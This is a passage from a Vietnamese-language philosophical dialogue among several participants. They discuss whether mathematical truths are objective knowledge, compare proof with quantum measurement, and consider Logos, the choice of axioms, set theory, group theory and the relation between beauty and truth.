tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div> <div> </div> <div> Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div> <div> </div> <div> Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div> <div> </div> <div> Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div> <div> </div> <div> Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div> <div> </div> <div> Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div> <div> </div> <div> Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div> <div> </div> <div> Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div> <div> </div> <div> Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div> <div> </div> <div> Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div> <div> </div> <div> “Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div> <div> </div> <div> “Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div> <div> </div> <div> Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div> <div> </div> <div> Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div> <div> </div> <div> Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div> <div> </div> <div> Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div> <div> </div> <div> Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div> <div> Cái tiếp theo của câu chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div> <div> </div> <div> Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div> <div> </div> <div> Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div> <div> </div> <div> Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div> <div> </div> <div> Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div> <div> </div> <div> Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div> <div> </div> <div> Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div> <div> </div> <div> Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div> <div> </div> <div> Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div> <div> </div> <div> Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div> <div> </div> <div> Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div> <div> </div> <div> Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div> <div> </div> <div> Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div> <div> </div> <div> Tất nhiên bạn có thể chọn tiên đề “không có tri thức khách quan”.</div> <div> </div> <div> Lựa chọn chỉ là phương pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div> <div> </div> <div> Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div> <div> </div> <div> Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div> <div> </div> <div> Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div> <div> </div> <div> Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div> <div> </div> <div> Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div> <div> </div> <div> Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div> <div> </div> <div> Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div> <div> </div> <div> Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div> <div> </div> <div> Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div> <div> </div> <div> Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div> <div> </div> <div> “Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div> <div> </div> <div> Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div> <div> </div> <div> Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div> <div> </div> <div> Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div> <div> </div> <div> Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div> <div> </div> <div> “Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div> <div> </div> <div> Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div> <div> </div> <div> Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton đã nhìn ra!</div> <div> </div> <div> Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div> <div> </div> <div> Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div> <div> </div> <div> Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div> <div> </div> <div> Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div> <div> </div> <div> Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div> <div> </div> <div> Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div> <div> </div> <div> Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div> <div> </div> <div> Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div> <div> </div> <div> Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div> <div> </div> <div> Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div> <div> </div> <div> Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div> <div> </div> <div> Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div> <div> </div> <div> Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div> <div> </div> <div> Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div> <div> </div> <div> Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div> <div> </div> <div> Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div> <div> </div> <div> Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div> <div> </div> <div> Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div> <div> </div> <div> Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div> <div> </div> <div> Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div> <div> </div> <div> Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div> <div> </div> <div> 1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div> <div> </div> <div> 2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div> <div> </div> <div> 3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div> <div> </div> <div> Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div> <div> </div> <div> Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div> <div> </div> <div> Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div> <div> </div> <div> Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div> <div> </div> <div> Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div> <div> </div> <div> Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div> <div> </div> <div> Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div> <div> </div> <div> Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div> <div> </div> <div> Giờ nghiêm túc hơn một chút nhé:</div> <div> </div> <div> Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div> <div> </div> <div> Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div> <div> </div> <div> Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div> <div> “Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div> <div> </div> <div> Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của 